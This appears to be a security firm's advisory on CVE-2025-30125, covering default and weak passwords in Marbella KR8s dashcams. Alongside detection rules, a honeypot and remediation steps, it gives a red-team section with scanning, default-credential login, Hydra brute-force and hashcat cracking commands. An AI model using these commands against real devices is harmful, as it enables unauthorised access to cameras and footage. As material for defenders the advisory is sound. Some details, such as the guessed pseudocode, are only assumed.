CVE-2025-30125

Executive Summary

CVE-2025-30125 exposes a critical security flaw in Marbella KR8s Dashcam FF 2.0.8 devices. All dashcams are shipped with identical default credentials (12345678), creating an insecure-by-default condition. Even if users change the password, it is limited to 8 characters, making it susceptible to brute-force attacks. Low-end commercial cloud resources can crack these short passwords in approximately 8 hours. This vulnerability allows an attacker to gain unauthorized access to the dashcam, potentially intercepting video feeds, modifying settings, or pivoting to other network devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue affecting Marbella KR8s Dashcam devices.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the vulnerability details, a more accurate score is 9.8 (Critical).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The dashcam is accessible over the network.
• Attack Complexity (AC): Low – Default credentials are well-known.
• Privileges Required (PR): None – No authentication needed to start.
• User Interaction (UI): None – No user action required for exploitation.
• Scope (S): Unchanged – The vulnerable component is the dashcam itself.
• Confidentiality (C): High – Full access to video feeds and data.
• Integrity (I): High – Ability to modify settings or firmware.
• Availability (A): High – Could disable the device or disrupt operations.

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability stems from two key issues:

1. Default Credentials: All Marbella KR8s Dashcam FF 2.0.8 devices are shipped with the same default credentials (12345678). This is a classic insecure-by-default design flaw. Attackers can scan for these devices on the internet (e.g., via Shodan) and log in using these credentials.

2. Weak Password Policy: Even if users change the password, it is limited to exactly 8 characters. This short length makes it highly susceptible to brute-force attacks. With modern cloud computing resources (e.g., AWS GPU instances), an 8-character alphanumeric password can be cracked in approximately 8 hours.

The attack flow:

• Reconnaissance: Attackers use Shodan or similar tools to find exposed Marbella KR8s Dashcams.
• Authentication Bypass: Attempt login with default credentials 12345678.
• Brute-Force: If the password was changed, use a dictionary or brute-force attack against the 8-character limit.
• Post-Exploitation: Once authenticated, the attacker can view live video, download recorded footage, change settings, or potentially execute commands on the device.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 2.0.8): The authentication mechanism likely uses a hardcoded default password and a fixed-length password field. Example pseudocode:

def authenticate(username, password):
    if username == "admin" and password == "12345678":
        return True
    elif len(password) == 8 and check_password_hash(password):
        return True
    else:
        return False

Patched Code (Hypothetical): A patched version would enforce strong password policies (minimum length, complexity) and remove default credentials. Example:

def authenticate(username, password):
    if username == "admin" and password == "12345678":
        return False  # No default credentials
    elif len(password) >= 12 and has_uppercase(password) and has_digit(password) and check_password_hash(password):
        return True
    else:
        return False

Exploitation & Lab Setup

Red Team

Objective: Gain unauthorized access to a Marbella KR8s Dashcam.

Tools Required:

• Nmap (for scanning)
• Hydra or Medusa (for brute-forcing)
• Python (for custom scripts)
• Cloud GPU instance (optional, for faster cracking)

Steps:

1. Scan for Devices:

   nmap -p 80,443,8080 --open 192.168.1.0/24
   

2. Attempt Default Credentials:

   curl -X POST http://<target_ip>/login -d "username=admin&password=12345678"
   

3. Brute-Force if Default Fails:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
   

4. Crack 8-Character Passwords (Offline): If you have a hash, use hashcat:

   hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?l?l --force
   

Blue Team

Objective: Detect and prevent exploitation.

Detection Steps:

• Monitor for multiple failed login attempts (brute-force).
• Alert on login attempts using default credentials.
• Use network segmentation to isolate dashcams from the internet.

Honeypot Setup: Deploy a fake dashcam endpoint to capture attacker behavior:

from flask import Flask, request
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    with open('attacks.log', 'a') as f:
        f.write(f"{request.remote_addr}: {username}:{password}\n")
    return "Login failed", 401

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

• Network Traffic:
  • Repeated POST requests to /login endpoint.
  • Connections from known brute-force IPs (e.g., from cloud providers).
• Logs:
  • Multiple failed login attempts within a short time window.
  • Successful login from an unexpected IP.
• Device Behavior:
  • Unusual configuration changes.
  • Unauthorized video streaming to external IPs.

Example IOC:

title: Marbella Dashcam Brute-Force Attempt
description: Detects multiple failed login attempts to Marbella KR8s Dashcam
logsource:
  category: application
  product: marbella_dashcam
detection:
  selection:
    event: login_failed
    count: 10
    timeframe: 5m
  condition: selection

Detection Engineering

YARA Rule

rule Marbella_Dashcam_Default_Creds {
    meta:
        description = "Detects default credential usage in Marbella KR8s Dashcam"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30125"
    strings:
        $default_creds = "12345678"
        $login_endpoint = "/login"
    condition:
        $default_creds and $login_endpoint
}

Sigma Rule

title: Marbella Dashcam Brute-Force Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects brute-force attempts against Marbella KR8s Dashcam
logsource:
    category: application
    product: marbella_dashcam
detection:
    selection:
        event: login_failed
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate password resets
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Marbella Dashcam Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"password="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Change the default password immediately upon device setup.
   • Use a password manager to generate a strong 8-character password (mix of uppercase, lowercase, digits, and symbols).
   • Disable remote access if not needed.

2. Long-Term Fixes:

   • Vendor must release a firmware update that:
     • Removes default credentials.
     • Enforces a minimum password length of 12 characters.
     • Implements account lockout after 5 failed attempts.
   • Users should monitor for firmware updates and apply them promptly.

3. Network Segmentation:

   • Place dashcams on a separate VLAN with strict firewall rules.
   • Block inbound traffic from the internet to dashcam IPs.

4. Monitoring:

   • Enable logging and alerting for authentication events.
   • Use the provided Sigma and Suricata rules for detection.

Valters IT
Securing Digital Frontiers